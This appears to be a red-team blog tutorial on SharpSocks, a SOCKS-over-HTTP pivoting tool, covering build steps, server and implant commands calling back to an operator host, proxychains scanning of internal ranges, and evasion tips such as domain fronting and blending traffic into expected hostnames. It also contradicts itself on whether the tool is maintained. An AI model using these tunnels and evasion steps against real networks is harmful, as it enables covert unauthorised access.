SharpSocks: tunneling SOCKS over HTTP for operator pivoting

SharpSocks is a SOCKS4a proxy that tunnels its traffic over HTTP. Rob Maslen at Nettitude (now LRQA Nettitude) wrote it as the operator-side companion to their PoshC2 framework, and it’s been part of the .NET red team toolkit since around 2018. The operator’s tools (Burp Suite, a web browser, Nmap, anything that speaks SOCKS4a) point to a local SOCKS port on the operator-side server; that server packages the SOCKS traffic into HTTP requests; the implant inside the target network polls the server for those requests, executes them against the internal targets, and returns the responses over HTTP. The net effect is full operator-to-internal-target connectivity over a channel that looks (from the network defender’s perspective) like ordinary outbound HTTPS to a web server.

The architectural distinction worth getting right: SharpSocks is not a “reverse HTTP proxy” in the traditional sense. It’s a SOCKS proxy whose backend connection happens to be tunneled through HTTP for egress reasons. The operator’s tools see a normal SOCKS4a endpoint; the network in between sees HTTP requests. The implant inside is the one doing the actual TCP connections to the internal targets. SOCKS4a means TCP only, no UDP, no IPv6. For the typical pivot work (HTTP, RDP, SMB, SSH, Burp browsing) this is fine; for anything UDP-heavy (DNS tunneling, VoIP, certain games used as cover channels) you’d reach for a different tool.

One caveat up front: SharpSocks’s last meaningful upstream commit was March 22, 2022, so the project is effectively unmaintained. The technique is still sound and the tool still works, but the modern operator stack has largely moved to Chisel and ligolo-ng for general pivoting (covered at the end of this post). Use SharpSocks when the deployment specifically benefits from a .NET implant.

What SharpSocks actually does for the operator

#

The features worth understanding in operator-relevant terms:

• HTTP as the transport. All implant-to-server communication is HTTP, with the SOCKS payload encrypted inside the request bodies. HTTP is allowed outbound from most enterprise networks (it’s how browsers work), passes through web proxies with minimal scrutiny, and looks superficially like normal web traffic. Customizable URL paths and request shapes let the operator blend the traffic into whatever pattern the target environment already produces.
• Symmetric encryption with a shared password. The implant and server negotiate a session using a shared password set at deployment time. Traffic in both directions is encrypted; the network defender sees encrypted bodies in HTTP requests but can’t read the SOCKS payloads without the key.
• Resilient connection. The implant polls the server on an interval; if the connection drops, it just keeps polling until it can reach the server again. The operator’s tools see a momentary SOCKS hiccup; the implant doesn’t need to be restarted.
• Cross-platform. Built on .NET, so the implant and server both run on Windows or Linux. The operator’s side is usually Linux (running alongside the C2 framework); the implant side is whichever OS the target host is.
• Proxy chaining and integration. Works alongside PoshC2 (Nettitude’s own framework, which calls SharpSocks via a Beacon module) and is referenced as a tunneling option by Covenant, Cobalt Strike workflows, and other .NET-aware C2s.

Setup

#

Build from source:

git clone https://github.com/nettitude/SharpSocks.git
cd SharpSocks
dotnet build

The build produces two binaries: SharpSocksServer (runs on the operator side, targets .NET Core) and the implant (targets .NET 4.0 for maximum target-side compatibility). Check the current README for the exact CLI flag set, since the syntax has shifted across versions. The current flags follow this rough shape:

# Operator side: HTTP listener that exposes the SOCKS proxy
./SharpSocksServer -l http://0.0.0.0:8080 \
                   -c <socks-listen-port> \
                   -k <encryption-key>

# Target side: implant calls back to the server URL
SharpSocksImplant.exe -s http://operator-ip:8080 \
                      -k <encryption-key>

The key flags: -l is the HTTP listener URI on the server (not a bare port), -c is the SOCKS port your tools connect to, and -k is the shared encryption key used to encrypt the SOCKS payload inside the HTTP requests. There’s a separate -p for the PFX password if you’re loading a TLS certificate on the server. The encryption key should be long and random; treat it like any other engagement credential, store it in your password manager, and rotate per engagement.

For production engagements, the HTTP endpoint should sit behind a reverse proxy (Caddy or nginx with TLS), and the SOCKS-over-HTTP traffic should be wrapped in HTTPS to a domain that fits the target’s expected outbound traffic patterns. Stock SharpSocks over plain HTTP is fine in a lab; on engagement it needs a layer of HTTPS plus a Malleable-style profile that doesn’t shout “I am a tunneling tool” on every callback.

What operators actually do with it

#

Pivoting to internal-only resources

#

The canonical use case. The implant is running on a machine inside the target network; the operator wants to interact with the internal web app, internal SMB share, internal Jenkins, internal admin panel, anything that isn’t exposed to the internet. Point your tools at the SharpSocks server’s SOCKS port, and the traffic comes out the other side at the implant.

For a single curl request:

curl --socks4a operator-server:1080 http://internal-webapp.corp.local/

For a full browsing session, configure Firefox’s SOCKS proxy settings (Settings → Network Settings → Manual proxy configuration → SOCKS Host, choose SOCKS v4) or use a per-process tool like proxychains4 configured for SOCKS4a:

proxychains4 -q nmap -sT -Pn -p 80,443,3389,445 10.10.0.0/24

proxychains4 forces non-SOCKS-aware tools (like Nmap with TCP connect scan) to route through SOCKS. The combination of SharpSocks + proxychains is what lets the operator run Nmap, Burp, BloodHound’s collector, and basically every other operator-host tool against the internal network from outside it.

Operating through restrictive egress

#

If the target network’s egress is tight (only outbound 80/443 allowed, with TLS inspection on 443), SharpSocks’s HTTP transport is what gets the operator’s C2 out at all. The implant doesn’t try to open arbitrary outbound ports; it just makes HTTP requests, which the egress firewall happily lets through because so does every other process on the box. Wrap the HTTP in HTTPS via a reverse proxy on the operator side, give it a hostname that fits the target’s expected traffic (a vendor support portal, a CDN edge, an analytics endpoint), and the traffic disappears into the noise.

This is the pattern that makes SharpSocks useful even when the operator has another C2 (Cobalt Strike, Sliver) already running. The C2 handles command-and-control over its own channel; SharpSocks adds a parallel SOCKS tunnel for the heavier proxied work that doesn’t fit a Beacon’s command-and-response model (Burp Suite browsing, long-running scans, interactive RDP sessions over SOCKS).

Operational notes

#

• Domain fronting and TLS termination. In production, don’t run SharpSocks over plain HTTP. Front it with Caddy or nginx, get a Let’s Encrypt cert for an aged domain, and consider domain-fronting through a CDN if the target environment supports the fronting pattern (most don’t anymore, but worth checking per engagement).
• Log everything operator-side. The operator-side server should log every connection request, response, and any errors. If something stops working mid-engagement, those logs are how you diagnose it; if the target’s blue team detects you, those logs are how you understand which technique they caught.
• Tune the polling interval. Lower polling intervals mean lower latency (better interactive feel for Burp/RDP work) but more traffic on the wire (easier to detect). Higher intervals are stealthier but make the operator’s interactive tools feel laggy. Default values in the README are usually reasonable; tune to taste.
• Rotate the encryption password per engagement. Treat it like any other secret.

Modern alternatives

#

SharpSocks is still maintained as of 2026 but the operator-side market has moved on for most use cases. The current alternatives:

• Chisel (Jaime Pillora): the Go-based TCP/HTTP tunneling tool that’s largely become the default for operator pivoting. Smaller binary, easier deployment, native cross-platform, runs as both client and server. Most operators who don’t specifically need .NET reach for Chisel first.
• ligolo-ng (Nicolas Chatelain): the community-favorite for operator-side network tunneling. Uses a TUN interface on the operator side, which means tools see a real network adapter instead of needing per-process proxy configuration. Closer to “VPN into the target network” than “SOCKS proxy.”
• gost : GoLang multi-protocol tunneling tool. More configuration flexibility than Chisel; smaller user base.
• reverse-socks and friends: the long tail of small Rust/Go SOCKS implementations operators reach for when they need something minimal.

SharpSocks still fits when the implant has to be .NET (because the operator-side framework targets it, or because the target box already has the .NET runtime installed and dropping a Go binary would stand out). For most other cases in 2026, Chisel or ligolo-ng do the same job with less friction.

References

#

• SharpSocks : Nettitude’s repo, current source and README.
• PoshC2 : the C2 framework SharpSocks was originally designed to complement.
• Chisel : modern Go alternative.
• ligolo-ng : TUN-interface-based tunneling.
• RFC 1928 : SOCKS Protocol Version 5, if you want to read the protocol spec the implant is implementing.